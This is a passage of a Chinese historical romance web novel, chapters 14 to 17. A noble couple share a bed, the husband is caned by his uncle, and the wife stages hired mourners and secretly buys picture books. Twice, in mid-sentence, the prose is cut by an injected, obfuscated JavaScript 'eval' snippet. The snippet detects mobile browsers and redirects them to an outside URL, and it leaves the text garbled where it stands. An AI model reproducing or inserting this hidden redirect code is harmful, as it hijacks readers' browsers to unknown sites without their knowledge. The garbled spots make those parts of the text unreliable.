谢枕年见她一副受气包的样子,觉得有些好笑,他勾勾嘴角,微微歪头,拍了拍床铺,示意她过去:“试试。” 夏穗愣住。 试试?怎么试?真要试这床结不结实,得两个人一起吧? 脑子里顿时涌上来小画本上无数□□香艳的场景,她低着头走过去,在床边坐下,大床发出一声轻微的暧昧声响。 14. 第 14 章 好柔软好温暖的床! 心里升腾起满足感,这样温暖柔软的感觉跟那晚亲谢枕年的脸一样。 夏穗的身体一沾到床,再加上她本来也有些困意,想直接躺下了。 见她坐下,谢枕年便凑过来,一只手撑在她的腿边,将她半包围起来。整个床也随着他的动作微微凹陷下去。 “昨晚睡得舒服吗?” 谢枕年的目光定格在他脸上,话语中带着她难以辨别的意味。 夏穗虽然窝囊,但也觉得这是一个为自己争取利益的好机会,难得他主动提了,她于是顺着这个话题说下去。 她淡淡道:“还行。” “还行?” 谢枕年忽然伸出手,掰过她的下巴,强迫她以正脸看自己。 “可是本王怎么觉得,你好像有很多怨言呢?” 夏穗嘟囔道:“那本来也只是一张木椅子,怎么能当床睡呢?” 她腰都快睡断了。 “既然如此,那你以后便睡这里吧。” 此话一出,她眼睛都亮了好几个度:“当真?!” “不过,”谢枕年话锋一转,“若是我阿娘再向你问起这种话,你知道该怎么回答吧?” 夏穗也个聪明人,言下之意即是要她在老夫人面前好好维护他们这段感情。 他好不容易装病,才换得了这么个机会躲避和那些世家女的联姻,若是让他母亲或者叔父知道他们感情不和,必定又要张罗着给他重新联姻或者纳妾了。 夏穗本来还很高兴,脑子里忽然又想到谢枕年与人同睡,很可能会激发他的心病,怕他半夜又起来发疯,她讪讪问道:“我睡大床,那王爷睡哪儿?” 谢枕年与她拉开了些许距离,站起身来:“还能睡哪儿?” 他看了那张长长的小木椅一眼。 夏穗也随着他的目光看过去,心里冷笑道,哼,你现在站着说话不腰疼,你睡一晚就知道了。 “行了,伺候笔墨,我要处理公事。” 虽说是休沐日,但夏穗看他今天也忙得厉害。他不是在处理公文就是在看书练字,连午膳也没吃两口,又匆匆回到桌子旁。 这么刻苦自律,她看着都累。 夏穗在一旁给他研研磨,递递书,就此打发了半日。下午得了他的吩咐,替他誊书,不过磨了半天洋工,书上一个字也没写。 小桃进来给她倒了杯水,见她悠闲懒散的样子,与认真严肃的谢枕年简直是两个极端。她凑在夏穗耳边苦口婆心劝道:“小姐,王爷看书看了一天了,你一个字也没写,真的没问题吗?” 夏穗像没骨头似的趴在桌上,远远地看了端坐在书桌旁的谢枕年一眼,他眉毛微蹙,专心致志,丝毫没注意这边。 她小声道:“能有什么关系?我又不入场为官。” 小桃也跟着看了看谢枕年,也许是被他那副勤勉用功的样子所感染到,回头又看到自家小姐这副不思进取的模样,又劝道:“小姐!你没看到比你优秀的人比你更努力嘛。” “那我努力还有什么用?” 小桃被她噎住,她虽然知道自家小姐自幼冰雪聪明,但她看着面前一字未动的本子,怕她受罚,实在也有些忧心。 “那小姐吃点苦,赶紧把王爷让你抄的书抄了吧。” “不着急,这不是什么重要的东西,我会慢慢抄的。我抄得这么快,说不定他又会给我另一本。” 如果肯吃苦,那享福的就另有其人。 两人你来我回的说了这么多句话,也没见谢枕年抬头朝他们这边看过一眼,可见他确实是十分专注。 夏穗拉了拉小桃的袖子,示意她蹲下来,在她耳边小声说道:“你去我房里,在我枕头底下帮我把小话本带出来。” 小桃一听,连脸色都变了,她不是没见过她家小姐那些小画本,那种玩物丧志的东西,是万万不可让谢枕年知道的。 她低声惊呼道:“小姐你疯了吗?这可是在王爷的房间,要是被他看到可怎么办?!” 夏穗拍了拍她的肩膀:“放心,我带的纯文字版的。而且,你没到看他的眼睛只长在书上?其他东西对他来说跟瞎了一样,不会被他发现的。” 小桃犹豫半晌,还是乖乖去了。 她拿着那些小话本过来,一路上都有些心慌,藏着掖着放到夏穗的膝盖上。 但夏穗脸不红心不跳地把它摆到桌面上:“你这样心虚,倒更容易惹人怀疑。” 小话本的封面都是她亲手做的,本来还是粗制滥造的,但是保险起见,她后来又改进了一下,现在足以到以假乱真的地步。 她甚至还在开头的那几页放了几张知乎者也的大道理,当真让人以为是什么诫子良书。 小桃给了她一个万事小心的眼神,转身要走,夏穗像是想到什么似的,又立刻把她叫回来,说道:“你抽空出府一趟,找几个给人家哭丧的来,要嗓门大的,哭的惨的那种。我有事交代给他们办。” 小桃虽然不明白她要干什么,但是她吩咐的事,向来不是没有道理的,尤其是看她现在这副颇为认真的样子,应当是有什么正事,于是火速去办了。 夏穗津津有味地看了一个下午,余光瞥到谢枕年站起身,他活动了一下筋骨。她立刻把那本书垫到本子下面,开始装模作样抄书。 “休息会儿,准备用晚膳吧。” 头顶传来谢枕年温润好听的声音。 她休息了一下午呢。 但她合上本子,装作劳累的样子也动了动脖子。 两人一起出门,便看到小桃正领了三四个人回府。夏穗看到他们,转头对他说道:“王爷,你自己先转转,吃晚饭前我会回来的。” 谢枕年也不问是什么事。 看那些人的穿衣打扮,多半是底层平平,也可能是府上新买回来的下人之类的。 菜一上齐,夏穗刚好踩着点回来了。 她一屁股坐下,同他客气了两句就开始动筷。她吃的很餍足,脸颊被撑得鼓鼓囊囊的,甚是可爱。 谢枕年不着痕迹的笑了笑。这些年来,很少有人跟他一起吃饭。有时皇宫设宴摆席,人倒是多,歌舞升平,也很热闹,但他并不觉得放松,时刻警惕着别人话里话外对他的弹劾,也用心计回答那些对他的明朝暗讽的话。 有时候谢府宴请宾客,官员们推杯换盏,脸上洋溢着虚假的笑,口中说着恭维的话,他也觉得疲于应付。 一场宴会下来,他只觉得无比心累。 热闹都是他们的,他什么也没有。 夏穗是例外。 从没有人在他面前吃东西吃的这么欢快。看她吃饭的时候,给人一种莫名的安静和幸福感。 什么勾心斗角,什么尔虞我诈,在她面前,这种肮脏东西好像完完全全地消失了。她只专心致志地品尝着面前的美食,单纯美好得让人也跟着放下心防。 晚风推开窗户跑进来,他明明滴酒未沾,但此时被温暖和煦的风一吹,他好像有些昏沉迷醉。 “枕年!” 身后传来一道略微苍老的声音,夏穗和谢枕年应声回头。 谢枕年看到来人后,目光怔了怔,但随即很快就恢复平静,朝他恭敬地行礼,叫了一声叔父。 是谢朝恩。 夏穗迅速打量了那个不怒自威的老者一眼,也站起来,跟着行礼请安。 谢朝恩说 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但谢枕年依旧站着没动,冷冷开口道:“叔父要罚我,也该让我知道为何受罚。” “混账!”谢朝恩见他这副硬气不知悔改的模样,心里更是来气,“我问你,昨天晚上,你去哪儿了?” 果然是为了这事。 谢枕年扯了扯嘴角:“叔父既然已经知道,又何必多此一问?” 谢朝恩既然能知道,必定是有人看到他在花楼,然后捅到他叔父面前了,此时说谎也没用。 “非休沐日,朝中官员禁止寻花问柳。你八岁入朝,十岁为官,连这种低级错误也要犯吗?!若是让不怀好意的小人知道,在陛下面前参你一本,你让谢家的脸往哪儿搁?!” 谢枕年低笑一声,转头看向谢朝恩的眼睛,眸光阴郁:“叔父便认定我是去狎妓的?” “不管你是不是,但你去了那种地方,还让人看到,抓住了把柄,就该罚。” 他话音未落,门口外便传来一阵骚动声,下人拼命地拦着夏穗,大喊道:“大人与王爷正在谈话,任何人都不能进去!” 谢朝恩看了岿然不动的谢枕年一眼,明显看到他眼眸中的神色变了,眸子亮了亮。 夏穗看见谢朝恩手中拿着一把那么长那么宽的戒尺,不管三七二十一,推开下人的阻挠,跑过去挡在谢枕年面前说道:“叔父,事情不是你想的那样的!” 谢朝恩脸色铁青,对她训道:“你既已嫁进来成了端王府的王妃,却管不住自己的夫君,这是你身为正妻的失职;其二,你身为王妃,今日擅闯祠堂重地,不守规矩,也该重罚!” 他扬起戒尺就要落下,夏穗也难得勇敢一回,仍旧站在谢枕年的身前没有躲开。 但疼痛并没有如她料想那般落在身上。 谢枕年站在她身后,抬手稳稳地按住了他叔父的手腕。 她稍稍往后退一步,便可以靠到谢枕年宽阔厚实的胸膛上。那一瞬间,巨大的安全感如山崩海啸般将她团团围住。 谢朝恩眯起眼睛看着两人,眼中闪过一丝不可置信,但很快又重新被怒火所掩盖。 谢枕年定定地望向他,一双深邃沉静的眼眸犹如一幽深潭,一言不发,从头到脚显示出几分倨傲。 他按着他叔父的手,手上微微加大了力道,逼迫他把抬起的戒尺放下来,另一只手把夏穗拉到身后。 “这件事与她无关。叔父要罚,罚我一人便是。” 夏穗抬眸看他,从这个角度望过去,只能看到他冷静优越的侧脸。 怎么回事,明明他都快挨打了,可是,他看起来好帅啊。 15. 第 15 章 “你这混账!” 谢枕年的父亲在他幼年时去世,他这个叔父将他一手养大,也算是他大半个父亲。他教养谢枕年这么多年,他向来从令如流,知错就改,更从未如此目无尊卑过。 像今天这样的情况,他还是第一次见。 “你求罚?我当然要罚你!罚你忤逆不孝,罚你目无法纪,罚你死不悔改,一错再错!” 谢朝恩将手中粗长的戒指尺扬起来,重重打在他的膝窝处,在惯性的作用下,谢枕年直接跪下来,跪在祠堂前。 他轻蹙着眉,但哼都没哼一声。 紧接着,粗长的戒尺一下一下落在他身上,谢朝恩扬手时,带起一阵风,雷厉凶狠,听得人心惊。 “是我带他去的!” 夏穗两只手紧紧拽着谢朝恩的袖子,大喊道。 虽然她也被吓到了,但是她实在不忍心看着谢枕年光挨打,更何况,他明明做了好事。 谢朝恩听到这句话之后,果然停手,瞬间转移了目标。他眯起眼睛看着夏穗,声音也低了几个度:“你说什么?” 夏穗勉强定了定心神,在他面前跪下,诚恳道:“叔父,我们去花楼,并非是去偷香窃玉,我们是去追查药商线索的。” 她一五一十地将他们去花楼的事情说清楚。 算算时间,小桃差不多也该到了。 她说完,望向门口,不一会儿,小桃就带着她找的那些人过来了。 夏穗及时道:“叔父,我保证,我方才所说的那些句句属实。那些百姓们全都是被药商所害,买不起药,只能眼睁睁看着亲人离世。王爷为此日夜忧心,好不容易找到药商的线索,不想放过他,才着急忙慌破了规矩。” 她顿了顿,用膝盖朝前走了一步,离谢朝恩更近些,又朝他磕了个头,额头几乎要抵到他的脚尖。 谢朝恩看着她倔强坚毅的眼神,心中竟也微微动容,不免向后退了一步。 “叔父若是不信,现在就可以把他们召到面前来问。” 此间,谢枕年没有说一句话,只是目不转睛地盯着他叔父的神色。 谢朝恩轻咳一声,大手一挥,让小桃带着那些人过来。小桃办事很靠谱,那几个哭丧的还没有到他们面前,就开始哭了起来。 哭状极其惨烈,泪如雨下,一个比一个嚎得大声。 至于该说的话术,夏穗在过来以前已经提前教过他们了。 “该死的药商!可怜我那老父亲,省吃俭用了一辈子,到头来一瓶金疮药都买不起!” “多亏了王爷啊!也就他还顾及我们这些老百姓的死活。” “若不是王爷及时出手,这京城的药价不知道要被搅成什么样子!王爷是我的救命恩人。” 他们边哭边喊,把严肃沉寂的祠堂瞬间变成灵堂,哭声铺天盖地。 谢朝恩的脸色有些难看,挥挥手,让下人们把他们拉下去。 哭丧的几人走后,整个祠堂只剩他们三个人,安静得能听到彼此的呼吸声。 谢朝恩负手而立,良久,他走到谢枕年旁边,开口依旧严肃庄重:“事实既是如此,你一开始为什么不说?” “此事我正在调查。” 他这么说,谢朝恩立即也明白了他话里的意思。 “你不肯对我说,难道是在调查我不成?” 气氛一时间又剑拔弩张。 “药商供出背后的人是你,我只是就线索调查而已。”谢枕年抬眸看他,“世人皆为利益所驱逐,谁都不例外。这不是叔父教的吗?” 谢朝恩被他怼得哑口无言。 这些年来,他为了谢家,明里暗里确实做过一些不干净的事情,这些事情虽然谢枕年从未在他面前提起过,但想必他也是知道的。 谢朝恩看着他,这个孩子只不过是借用药商这件事情在提醒他罢了。 他轻叹口气,拂了拂衣袖:“你要查,随你查便是。” 他看似无意地瞥了一眼谢枕年背上的伤痕,他方才被气急了,下手很重,此时被他打过的地方已经渗出了微微血痕。 但他也没说什么,转身便走,只是在路过夏穗时,很快地对她说了一句:“给他上点药。” 语速很快,要不是夏穗一直提心吊胆地听着他的话,估计连她都听不清楚。 看他走了,她立即上前去扶谢枕年。 血痕已经浸透了他后背的衣服,什么话也来不及多说,夏穗拉着他的手便往房中走去。 她把谢枕年拉到床边,小心翼翼地脱下他的衣服,往后脱时,血肉都已经模糊在一起,粘着衣服,她一点点将衣服沿着伤口扒开,疼得他轻轻抽了口气。 她昨天晚上才替他擦过背,那么矫健光滑的皮肤,此时被打得如此皮开肉绽,就像是看着一件绝世瓷器在她面前打碎,夏穗心疼极了,竟掉下几滴眼泪来。 眼泪只要一掉,便一发不可收拾。 她努力克制住情绪,吸了吸鼻子。 但谢枕年还是察觉到了,他微微反头问道:“怎么哭了?” 夏穗一边给他上药,一边随意找了个借口搪塞他:“害怕。” “怕血?” 夏穗摇摇头,谢枕年此时正背对着她,当然没看到。他没见她说话,还以为她是默认了,于是又问道: “既然怕血,刚才叔父要打我,你为什么挡在我身前?” 夏穗抽泣着:“我只是觉得,你明明做了好事,还要挨罚,未免有点太不公正。” 她嘴上这么说着,但其实又觉得好像不是这个原因。 那到底是什么原因? 她此时细细去回想那一刻的心情,潜意识里好像知道,有谢枕年站在她身后,她就不会挨打。 夏穗替他上了药,又替他完全包扎好,这才抹了抹眼泪,问道:“叔父打你时,你为什么不把真相跟他说呢?非要挨这顿打。” 谢枕年听出她话中似是有些责怪的语气,微微怔愣了一下,旋即解释道:“关于药商的事我还在查,不管是不是叔父,我我都不想让他提前知晓这件事。” ”这么说……我坏了你的计划。” 谢枕年披着衣裳站起身,淡然说道:“不重要。倒是你,怎么会想到要找那么一帮人?” “凡是做过,必留痕迹,何况王爷没戴面罩,万一有人认出你,被叔父知道是迟早的事。我只是以防万一,留个后手。” 谢枕年笑笑:“演得也太真了,我恍惚以为当真是我救过的人呢。” “他们是专门给人哭丧的,哭起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630651|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊天地泣鬼神,看起来也更逼真。” “卖惨的那些话,也是你教给他们的?” 夏穗点了点头。 她没觉得卖惨有什么可耻的,只要能达到自己的目的,装惨总比真惨好。 她小时候就是靠着卖惨度过来的,她若是不卖惨,那恐怕会惨到去卖。 “下次别做这种事,叔父不是那么好糊弄的人,他若是知道你联合外人骗他,连你也要一起受罚。” “我找的人是演的,但是药材价格被哄抬的这件事是真的,总会有受此事影响的百姓,叔父要查,随他去查好了。再说了,如果叔父真的调查此事,不恰好说明他是无辜的,是郭长风在空口冤枉他吗?” 谢枕年对她这番话不置可否,只是对她说道:“这件事我会处理好,你不用管了。” 从他叔父的神色和态度上基本可以断定这件事的幕后主谋不是他叔父。恐怕这后面会牵扯到更多的朝廷官员和利益纠纷,谢枕年不想让她卷进来。 夏穗见他面色凝重,赶紧点点头,她本来也是因为亲眼目睹小桃病倒才如此义愤填膺,既然他有把握解决这件事情,自己还是趁早抽身为妙。 天色已然全黑,是时候入睡了。 按照白日的约定,谢枕年该去睡那张小破床。 但他刚受了伤,夏穗实在不忍心看他裹着凄风苦雨睡在那张床上。左思右想,最终还是开口问道:“王爷,要不然……” 话说到一半,她忍不住又住嘴。 那天晚上被他掐着脖子的场景还历历在目,实在是小命要紧,还是不要他一起睡了。 见她欲言又止的样子,谢枕年站在原地,耐心地等着她要说的话,但夏穗不再开口。 良久,他没有等到她的下文,便径直走向那张小破床。 夏穗望着他,不知是不是她的错觉,她刚才好像在他脸上看到一丝期待落空的表情。 他难道是在期待自己邀请他同睡? 算了,他怎么可能会期待这个。 要期待也是期待她能主动提出她去睡小破床。 她脱了衣服,在松软的床上躺下来。 虽然让伤患去睡小破床有些不太人道,但她必须要让谢枕年认识到他的错误——睡那个小破床真的很难受。 他如果不亲自体验一下的话,绝对不会知道她昨夜是怎么睡过来的。 但话又说回来,他毕竟是个大男人,睡那张床恐怕连手脚都张不开吧? 况且他还有伤在身。 她会不会有些太过分了? 夏穗陷在床上,辗转难眠。 外面隐约传来更夫打更的声音,已经过了子时了。 她闭上眼睛,狠了狠心,决心不再考虑这个问题,左右也不是什么多重的伤,已经处理好了,应该没事的。 翌日,耳边传来公鸡打鸣的声音,夏穗迷迷糊糊地躺着,小桃没来叫她,现在应该还不到起床的时辰。 她是被热醒来的。 而且,还有两条重物压在她身上,一条压在她胸前,另一条压在她腿上,压得她有些喘不过气。 她伸出手,想把胸前的重物推开,却摸到了一只肌肉线条明显的小臂,掌心朝下,正正好搭在她那团柔软的雪球上。 16. 第 16 章 夏穗瞬间清醒,睁大眼睛,映入眼帘的是谢枕年俊美安静的睡颜。 ?! 他不应该躺在那张小破床上吗?怎么会在这儿?居然还把手如此明目张胆地放在她的胸上! 夏穗还沉浸在惊讶中,呼吸一时间有些沉重,感官似乎都因为震惊而罢工了,唯一清晰强烈的感觉就是放在她胸口上那只手的重量。 她的胸口随呼吸微微起伏着,正在犹豫要不要把他的手拿开,便听见身侧传来轻微的动静。 谢枕年的睫毛微颤,慢慢睁开眼睛。 困意还未退散,他对上夏穗那双略带惊讶的眸子,似乎还没反应过来,朝她眨了眨眼。 两人对视了几秒,谢枕年瞳孔略缩,终于反应过来了! 他也有些震惊,以迅雷不及掩耳之速收回手,想要起身。但奈何背上的伤口还没好,他动作幅度太大,一趴起来便牵扯到伤口,疼得他倒吸一口冷气,只得捂着肩膀慢慢拉开些许距离。 他看起来有些不知所措。 夏穗坐起来,把微微敞开的衣襟合拢,脸上染上一层红晕。 两人几乎是同一时间开口。 “王爷……” “我……” 又同一时间闭嘴。 气氛陷入微妙的安静。 过了一会儿,终是谢枕年先捱不住了,朝她解释道:“我、我昨晚半夜起来喝水,大概睡得有些迷糊,按往常习惯的方向走,走到大床上来了。” 照这么说,昨天晚上大部分时间他们都是睡在一起的。 他也不见得每天晚上都会起来发疯,梦中杀人。 如此说来,以后倒是可以两个人一起睡,说不定还可以…… 夏穗又想入非非。 她把胸前的衣带系好,点点头,温声道:“王爷不必解释,我们本就是夫妻,一起睡也很正常。” “不必了,昨晚只是意外,我说过我不与他人同睡,下次不会让这种事情发生。” 新婚之夜,他陷入梦魇,掐住夏穗的脖子时,那一刻他将她眼中的惊慌,惶恐和害怕看得清清楚楚。 那一瞬间,感到害怕的不仅是夏穗,还有他。 他害怕自己没清醒过来,他怕自己真的杀了她。 小桃敲了敲门,在外喊道:“小姐,该去给老夫人请安了。” 夏穗从他旁边下床,瞥了一眼他的后背,没看到伤口渗血,想来大概是在慢慢恢复了。 对于穿衣吃饭这种事,谢枕年一向都是自力更生,很少让人伺候。但夏穗见他顾及着背上的伤,穿衣有些笨拙的样子,便主动上前先替他穿衣。 夏穗把他收拾妥帖以后才自己穿衣服,她按时起床,还不赶时间。原本她手上的动作还不慌不忙的,但余光瞥见已经收拾整齐的谢枕年仍然站在房间,没有要走的意思。 看起来像是在等她。 于是她加快了手上的动作,两人一起出门。 在进老夫人的房门前,谢枕年忽然轻轻拉住了她的袖子。 夏穗停住脚步,回头望他。 只见谢枕年朝她伸出一只手,挑了挑眉。 夏穗心下了然,明白他要演和美夫妻的样子,她也伸出手去,把自己的手放在他的掌心,任由他拉着自己进去。 老夫人坐在上座喝茶,看他们俩手拉着手一起进来,眼神微亮,被茶杯半掩的嘴角不着痕迹地往上提了提。 两人向老夫人请完安,谢枕年便走到一旁坐下。夏穗从丫鬟手中端过新茶,敬给老夫人。 老夫人悠悠开口道:“夏穗,你嫁入王府多久了?” “有大半年了。” “你嫁过来这么久,也不见你回娘家一趟。正好,过两日是女儿节,你也回娘家看看吧。” 夏穗闻言,端茶的手一抖,茶水险些泼出来。 一想到那个家,她心中便生出一股抗拒和厌恶,但面上还是强装镇定。 谢枕年端坐在一旁,微微眯起眼睛,将她眼中的这点波澜尽收眼底。 老夫人接了她递过来的茶,抿了一口,接着对谢枕年说道:“枕年,你有空的话,和她一道回去吧。这本是小事,但王府不比寻常人家,外面不知有多少人想要抓你的把柄,免得被外人说三道四。” 夏穗闻言,也看向谢枕年。没想到他也正目光炯炯地盯着自己,冷冷道:“有时间的话,我会去的。” 从老夫人那儿出来,夏穗便去了街上,既然要回家,那她得去置办点东西。 她先去订购了几个大木箱,小桃跟在她身后问道:“小姐,我们要装这么多东西回去吗?” “非也,这些箱子是我准备回去搬我的东西的。” 当初她听到自己要嫁入王府,外界传言她要嫁的王爷已经病入膏肓,日薄西山了,她没打算在王府待多久,所以带过去的东西不多。 她房里还有一些珍藏的小画本,她想趁此机会都搬过来。 订好箱子以后,她继续在街上漫无目地逛着。小桃跟着她逛了一会儿,手中便大包小包提满了东西。 大多是一些好吃的糕点,还有一些营养品。 小桃又问:“小姐,这些都是带回夏府的吗?他们都那么对你了,你还买这么多东西回去干嘛呀?” 夏穗闻言,转过身来笑笑:“谁说是带回去给他们的了?” 她指着小桃手上的一堆东西说道,“好吃的是我买给我自己的。”又指了指她手上的另外一堆东西,“那些营养品,是买给你的。你上回发热昏倒,该好好补补身子。” 小桃看着她,顿时红了眼眶。 夏穗拍拍她的头,朝她笑道:“好啦,这么多东西,你提着也累,你先回去吧,我自己逛会儿就回来。” 她继续往前逛,只见一个小摊前围了不少人,一堆男男女女,以年轻人居多。 肯定是有什么好东西。 夏穗拨开人群挤进去,只见老板全副武装,从头到脚包得只露出一双眼睛,他面前的小木桌前摆了各式各样的诫子良书。 老板意有所指:“书中自有颜如玉,走过路过不要错过啊。” 夏穗秒懂,随意挑起上面的一本,在手里掂了掂,画纸已经泛黄卷边,像是别人压箱底的珍藏版。 刚翻开第一页,一个墨线勾勒的男子骤然撞入眼帘,是半敞衣襟的侧卧姿态。夏穗不用看旁边介绍的小字也知道,这必然是男主人公了。 第二页是半出浴桶的场景,画中男人背对着她,露出矫健有力的背肌和劲瘦的后腰曲线。线条停在紧绷的腰线处,墨迹把潮湿水痕也晕染得很好。 不知怎么的,看着这幅画,她忽然想起那晚刚出浴池的谢枕年。 只不过,谢枕年的身体比画上的还要更高大矫健,更有魅力。 再往下看去,便开始进入了故事线,男女主人公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630652|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都刻画得很好看,甜甜的恋爱味道扑面而来。 她的目光看着小话本,脑海中谢枕年的形象却怎么也挥之不去。 耳后微微发烫,她喉头滑动着咽下唾液。 目光无意识流连在画中人拥抱接吻的位置,她拥有过人的想象力,墨色在目光的反复探究下变得模糊,但脑中的场景却清晰起来。 女人就是要看这种东西,才有力气讨生活啊。 她捧着书,如获至宝地读着。 正看到要紧之处,商贩突然抽走她手中的画册,枯瘦的两根手指在小画本上敲了敲:“试读结束,姑娘要看更刺激的,得花钱。” 夏穗有些不满他忽然打断她,有些没好气地道:“这又不是什么不正经的东西,你裹成这样干嘛?再说了,这些书一看就有年头了,你从哪儿弄来的?” “哪儿弄来的这就不用管了。快点的,你到底买不买?不买别耽误我做生意。” “买买买。” 夏穗掏出钱,一手交钱一手交货,商贩也把那本书递给她。 两人刚交接完不到一秒,街那头便响起了严厉的训斥声:“喂,那里的人,给我站住!” 余光里闪进几个穿着巡捕衣服的大汉,夏穗撇头一看,那几个大汉正往这边冲过来。 受到惊吓的人群一哄而散,商贩也着急忙慌地收拾东西,准备跑路。 夏穗在原地愣了一秒钟,写痴男怨女爱情故事的小画本也不让看了?这是朝廷新出的规定吗?她没听说呀。 但是这种上了年头的小画本确实不多见,画风也深得她心,她赶紧又抓起了一本,连看也来不及看,掏出身上的碎银子扔给小贩。 来不及了,巡捕已经到眼前了,她也不知道钱多钱少,她拔腿就跑。 她虽然觉得自己没做错什么,也不明白巡捕为什么要追他们,但没办法,在这样的情况下,人就是有从众心理。 她今日穿着一身鹅黄色的长裙,衣服颜色明显,很快便成了巡捕眼中的目标人物。 夏穗没怎么逛过这条街,不太熟悉路况,慌不择路,随便跑进了一家店,躲在门后。 她气喘吁吁地抱着书蹲下来,听到外面掠过一阵人仰马翻的脚步声。 店里人不多,旁边一个老板模样的人上上下下打量了她好几眼,也不驱逐,但调笑着道:“小娘子,慌里慌张的,躲谁呢?” 夏穗蹲着环顾一周,这里是个布料店,店里还有试衣服的客人,他们都是方才看着她跑进来的。 有客人笑道:“瞧小娘子这副心虚的模样,不知道的,还以为是你出来鬼混,撞见你抓奸的夫婿了呢。” 夏穗翻了他们一个白眼,懒得跟他们拌嘴,也怕跟他们吵吵嚷嚷的,把巡捕吸引过来。 她蹲在门后,用手戳了戳旁边大哥的小腿,拉低声音道:“大哥,麻烦帮我看一下,外面的追兵走了没?” 旁边那人久久不回话。 腿蹲得有些发麻,搞得她都想自己抬头看一下了。 就在她打算起身时,头顶响起一道干净清澈的嗓音:“没走。” 夏穗闻言点点头,打算再蹲一会儿,脑子里忽然闪过一道白光,后知后觉的熟悉感爬上心头。 这声音…… 她眨了眨眼睛,眼珠子仿佛机械般慢慢移动,定格在旁边那人昂贵奢华的丝绸衣料上,抱着小画本的手紧了紧,顿时心如擂鼓。 17. 第 17 章 夏穗心中狂跳,脑海中已经出现了那张清俊的脸,她很想抬头确认一下,但又不敢,更让她心惊的是,她手中还抱着那两本不务正业的书! 对他那种端重自持的人来说,她这样的行为跟被他捉奸有什么区别?! 雪松香忽然袭来,她能感觉到那人略微弯腰,正逼视着她。 夏穗不得已抬头,正好对上谢枕年那双明亮好看的凤眼。 她先发制人,朝他笑笑:“王爷?你怎么会在这儿?” 谢枕年直起腰,居高临下地望着她,惜字如金地吐出两个字:“逛街。” 如果倒霉是一种天赋,那么夏穗在这方面绝对天赋异禀。整个京城那么大,万年才出门逛一次街的谢枕年,不偏不倚让她给遇上了。 她抱着书站起来,努力装作镇定:“好稀罕,王爷怎么有空出来逛街?” “下月初五是舅父的生辰,我来店里挑点东西,打点一下。” 谢枕年说完,又打量了一下她的神色,微微眯起眼睛反问道:“你干什么了?慌里慌张的。” “没、没什么……” 她脑中飞速运转,想着对策。 谢枕年显然不肯罢休,他走近一步,略微弯腰,直直地盯着她的眼睛。夏穗不敢直视他狼顾鹰瞵的逼视,垂下眼眸,吸了吸鼻子,小声道: “我碰到我继母了,有些害怕,慌不择路了。” 这种恶人,就该这个时候推出来用。 谢枕年目光微怔,像是有些不解,夏穗及时补刀:“继母自幼对我苛虐以待,我现在还很怕她。我方才躲避她时不小心撞翻了摊主的摊子,摊主便叫人追我。” 谢枕年点点头,好似打消了疑虑的目光,还没等她松口气,他的眼睛又落到了她紧紧抱着的那两本书上:“买的什么书?” 夏穗低头瞥了眼,还好那个封面做得很真,她回答道:“《女子四德》。” 说出来她自己都有些心虚,这里面的东西哪儿跟女子的三从四德沾边啊,简直背道而驰。 书中鼓励自由恋爱,也主张女子要为自己而活,对待感情,要拿得起放得下,大胆地追求幸福。 这些书若是放在平常百姓家,只不过是饭后消遣的娱乐罢了,不过她身在王府,一举一动都要符合王妃的身份。 而一个王妃的娱乐方式,无非就是弹琴下棋,练字吟诗,但在夏穗这里,那不叫娱乐,那叫惩罚。 好在谢枕年对这种书也没什么太大的兴趣,偏过头去对店老板吩咐了几句,便对她说道:“回去吃饭吧。” 夏穗一回府便把书藏了起来,跟谢枕年吃饭时,也吃得心不在焉。脑海中全是小画本上的故事。 她一直在想,趁什么时候看比较好呢?那么与王府格格不入的东西,又全是画,她实在不敢在伴读时拿出来看。 唯一能想到的,也就只有趁他去上早朝的时候拿出来看了。 等她思量好,回过神来时,只见那个玉面阎王又直勾勾地盯着她。 “你怎么了?” 夏穗弯弯唇角:“我?没事啊。” 她看着满桌子基本上没怎么动的饭菜,立刻意识到了他在问什么,赶紧说道:“我今天看了很多书,吃了精神粮食,所以现在并不是很饿。” 谢枕年也很干脆:“那都撤了吧。” 眼看着一桌子美食要被撤下去,然而她连根葱都没尝到,赶忙伸手拦住他:“诶,等等!我看王爷你也没怎么动筷子,我虽然不饿,但王爷也不吃吗?” “我没胃口。” “这么好吃的饭菜,怎么能没胃口呢?端到你面前来的,都是极品中的极品,如此浪费,简直暴殄天物。” 夏穗拿起筷子:“珍惜粮食,浪费可耻。那我勉为其难吃点吧。” 半个钟头后,谢枕年看着桌上几乎被她一扫而光的食物,这实在不像是“勉为其难吃点”的吃法。 谢枕年不自觉地勾勾嘴角,看起来心情不错。 夏穗的心情也不错,她抿了口清茶,享受着这般吃好喝好的日子。 暖饱思淫欲,吃好喝好外,如果能玩好就更不错了。 想到这里,她瞄了旁边的谢枕年一眼,午膳过后,他看起来放松惬意,但眉目依旧冷峻,周身透着清冷端庄的气质。 唉,和他玩儿好,恐怕是做不到了。 “你休息吧,下午不必过来伺候,我和彦修有事处理。” 夏穗的眼睛亮了亮:“好,我不会来打扰的。” 刚才还想找机会看看小画本呢,机会这不就来了! 她毕恭毕敬地退了出去,踩着青石砖一蹦三跳,心情无比愉悦,一溜烟地回了她的院子,拿出新买的小画本。 按耐住心下的激动,特意跑到后院。她早就留意过了,这个地方下人们只会在早上来洒扫一次,其他时间路过的人很少,正适合她用功苦读。 